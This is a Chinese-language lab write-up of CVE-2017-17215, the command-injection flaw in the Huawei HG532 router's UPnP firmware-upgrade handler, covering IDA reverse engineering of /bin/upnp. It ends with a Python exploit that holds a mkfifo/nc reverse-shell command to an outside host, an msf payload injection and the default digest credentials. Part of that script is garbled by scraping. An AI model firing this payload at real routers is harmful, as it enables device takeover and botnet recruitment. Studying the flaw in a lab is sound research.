漏洞分析（CVE-2017-17215）漏洞分析：CVE-2017-17215

漏洞分析：CVE-2017-17215 华为HG532路由器的命令注入漏洞，存在于UPnP模块中。
漏洞分析什么是UPnP？
搭建好环境（使用IoT-vulhub的docker环境），启动环境，查看一下系统启动的服务和端口监听情况。

文章图片

漏洞点存在于UPnP模块中,关于upnp协议，其实现的功能大致如下：
1.NAT 网关设备拥有一个公网 IP 地址（比如 10.59.116.19），内网中的主机（比如 192.168.1.101）想要与外界通信的话，NAT 网关设备可以为其做一个端口映射（比如：180.59.116.19 :80 —> 192.168.1.101 :80），这样，外部的主机发往 NAT 网关的数据包都会被转发给内网的该主机，从而实现了内网中的主机与外部主机的通信；
【漏洞分析（CVE-2017-17215）】2.当内网的服务，需要被外网访问的时候，就需要做一个端口映射，把内网主机的端口映射到NAT网关设备的一个端口上去，这样访问网关设备的端口时候，实际上就是访问了内网主机的服务。但是当内网有多台主机需要向外提供服务的时候，就需要手动配置NAT网关设备的映射端口，确保这些内网服务不会映射到NAT网关设备的同一个端口上去，否则就会造成端口的冲突，这给用户造成了很多麻烦；
3.UPnP 技术标准的出现就是为了解决这个问题，只要 NAT 设备（路由器）支持 UPnP，并开启。那么，当我们的主机（或主机上的应用程序）向 NAT 设备发出端口映射请求的时候，NAT 设备就可以自动为主机分配端口并进行端口映射。这样，我们的主机就能够像公网主机一样被网络中任何主机访问了。

总的来说，upnp提供了一种外网到内网主机的访问机制，如果网关设备的upnp模块存在问题的话，从WAN口去攻击路由器等等网关设备就会比较容易。HG532这款设备，使用upnp来进行固件更新，在固件更新的过程中存在命令注入漏洞，最早是checkpoint发现被Mirai的变种OKIRU/SATORI利用来构建僵尸网络。

漏洞函数，你在哪里被调用？
用IDA打开/bin/upnp文件，通过搜索system等命令执行函数的交叉引用，查看存在的命令注入点。由于大部分命令执行函数的参数是硬编码过的，所以找到这个漏洞点并不困难，简单的搜索之后，就可以看到一个snprintf函数在传递参数的过程中，对参数没有做任何校验，然后snprintf读入的格式化字符串参数的地址被传递到了system函数中，system调用upg来进行固件更新，如果param1和param2两个参数可控的话，就可以在system中执行攻击者的命令。

文章图片

现在需要看一下ATP_XML_GetChildNodeByName函数，由于固件没有剥离符号表，所以通过函数名大致可以看出函数做了什么：

int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param) { int flag; // $s1 int i; // $v0 int v9; // $s0 int NodeValue; // [sp+20h] [-8h] BYREF int ret_NodeName; // [sp+24h] [-4h] BYREFflag = 0x40090000; if ( NodeName ) { for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) ) {// 遍历xml节点 v9 = i; if ( !i ) { if ( param ) *param = 0; return 0x40090004; } flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue); // 获取xml节点的值 if ( flag ) { if ( param ) *param = 0; return flag; } if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) ) break; } if ( a3 ) *a3 = v9; if ( param ) { if ( NodeValue ) ((void (*)(void))sub_408540)(); *param = NodeValue; } } return flag; }

大胆猜测一下：通过遍历xml的节点，找到标签名和第二个参数一样的节点，然后把xml节点的值写入到第四个参数的地址处。这里比较坑的一点是，我找不到漏洞函数的交叉引用，也不知道怎么控制snprintf的参数。
这里先在squashfs-root目录下找找"NewDownloadURL"和"NewStatusURL"这两个字符串：

文章图片

文章图片

在upnp中查找DevUpg.xml字符串的交叉引用：

文章图片

查看ATP_UPNP_RegDeviceAndService函数，发现这个函数对ATP_UPnP_RegDevice函数和ATP_UPnP_RegService函数有大量的调用，猜测这个函数可能主要用于开启外网对内访问的服务。

文章图片

往下找一找，可以看到一个ATP_UPNP_RegAction函数，这个函数有两个参数：

文章图片

这个参数之前就作为ATP_UPnp_RegDevice的最后一个参数被传递进去过：

文章图片

我们之前说，ATP_UPnP_RegService这个函数可能是开启UPnP的服务，那ATP_UPNP_RegAction,很有可能就是要对开启的服务做一些操作，跟进看一看。

int __fastcall ATP_UPNP_RegAction(int service_id, int idx) { int result; // $v0 int *v4; // $s0 char *funcname; // $s2 int v6; // $s1if ( !service_id ) return 0x40090000; result = 0x40090000; if ( *(_DWORD *)(service_id + 48) ) { v4 = *(int **)(service_id + 36); if ( v4 ) { funcname = g_astActionArray[4 * idx]; while ( 1 ) { if ( (v4[1] & 0x40000000) != 0 ) { v6 = *v4; if ( !strcmp(*v4, funcname) ) break; } v4 = (int *)v4[4]; result = 0x40090000; if ( !v4 ) return result; } ATP_UPNP_Free(v6); v4[1] &= 0xBFFFFFFF; *v4 = idx; result = 0; } } return result; }

这里的重点，在g_astActionArray这个全局变量，这个全局变量之前没有被识别出来，在IDA里面修改识别一下，发现别有洞天：

文章图片

这是一个虚表，aUpgrade和DeviceUpgrade(这个就是漏洞函数)分别是下标为0和1的函数名。这样看来，之前找不到对应漏洞函数的交叉引用也就有理可循了。
再来看看这个虚表对应的交叉引用，看除了ATP_UPNP_RegAction这个函数之外，它还在哪里被调用了：

文章图片

UPnPGetActionByName会返回g_astActionArray中的函数指针：

文章图片

然后这个函数指针随后会被调用：

文章图片

做到这一步，我们现在可以再梳理一下逆向的工作了。
我们之前首先通过搜索system函数交叉引用的办法，找到了漏洞点，但是没有找到漏洞函数的交叉引用，这是因为函数是通过虚表的方式，调用了函数指针。
然后我们通过在固件中查找关键字符串的方式，确定了UPnP协议要解析的一个关键的xml文件：DevUpg.xml。我们又回到/bin/upnp中，查找这个文件名字符串的交叉引用，通过分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction这两个函数，在IDA里面找到并且正确识别了这个虚表。
最后再通过查找虚函数其他的交叉引用，找到了函数指针被调用的地方，还原了整个漏洞函数执行的流程。
那么现在还要关注哪些问题？

文章图片

我们现在还不知道，控制固件升级的消息格式，只有清楚了消息格式，我们才能结合之前找到的注入点注入命令。
通过UPnP实现固件更新的过程，是通过一个Web接口来实现的，我们还要把这个接口给找出来。完成这两步，感觉这个漏洞挖掘的过程就被完整地还原出来了，开搞。
寻找Web接口
在逆向的过程中，有这样一段代码：

文章图片

http_request是我重命名的一个变量，这个变量肯定是一个结构体指针，但是暂时没有办法还原这个结构体。UpnpGetServiceByUrl这个函数名也引起了我的注意（url这个变量也是我重命名的一个变量，根据函数名猜的），跟进到这个函数中看一看：

文章图片

这样一看，这个函数实现的功能其实也能猜个十之八九，g_pstUpnpGvarHead这个全局变量最开始是在ATP_UPNP_Init函数中被赋值;

文章图片

还有一个函数会以xml格式返回客户端错误：

文章图片

文章图片

到这一步，我觉得继续静态分析的话，收获也不大了，登录到路由器后台找一找api，看看能不能抓包分析一下流量是唯一的出路。

文章图片

后台确实有固件升级的功能，但是在docker中好像不能用，我把tcpdump传到靶机中没有抓取到37215端口的流量，看了一下check point的漏洞公告和分析，尝试构造exp。

漏洞利用

文章图片

checkpoint文中提到是通过蜜罐捕获到了流量。
通过UPnP协议控制固件升级的消息格式如上图所示，其中NewStatusURL和NewDownloadURL标签中的内容就是我们可控的命令注入点。通过nc反弹shell失败，wget传递msf的反弹shell还是稳......
exp中需要进行http身份验证，否则就会报401错误。

import requests from threading import Thread from requests.auth import HTTPDigestAuthcmd = "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f" #cmd = "mkdir /tmp/poc" payload = '''\n''' payload += '''\n''' payload += '''\n''' payload += '''; $(./tools/msf); \n''' payload += '''$(echo HUAWEIUPNP)\n\n''' payload += '''\n''' payload += '''''' url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1" # r = requests.post(url,data = https://www.it610.com/article/payload)r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = https://www.it610.com/article/payload) print(r.status_code)

文章图片

总结关于这个漏洞，感觉网上一些文章都是搭了环境，然后直接找一次命令注入点，根据漏洞公告给的信息打一次exp，少了一些细节。我在分析的过程中，加入了自己学习和研究的过程中的一些思路和想法，在这个过程中，我对于UPnP协议也有了一些了解，加深了对命令注入漏洞数据流的理解。
参考链接： https://zhuanlan.zhihu.com/p/40407669
https://nosec.org/home/detail/4871.html
https://research.checkpoint.com/2017/good-zero-day-skiddie/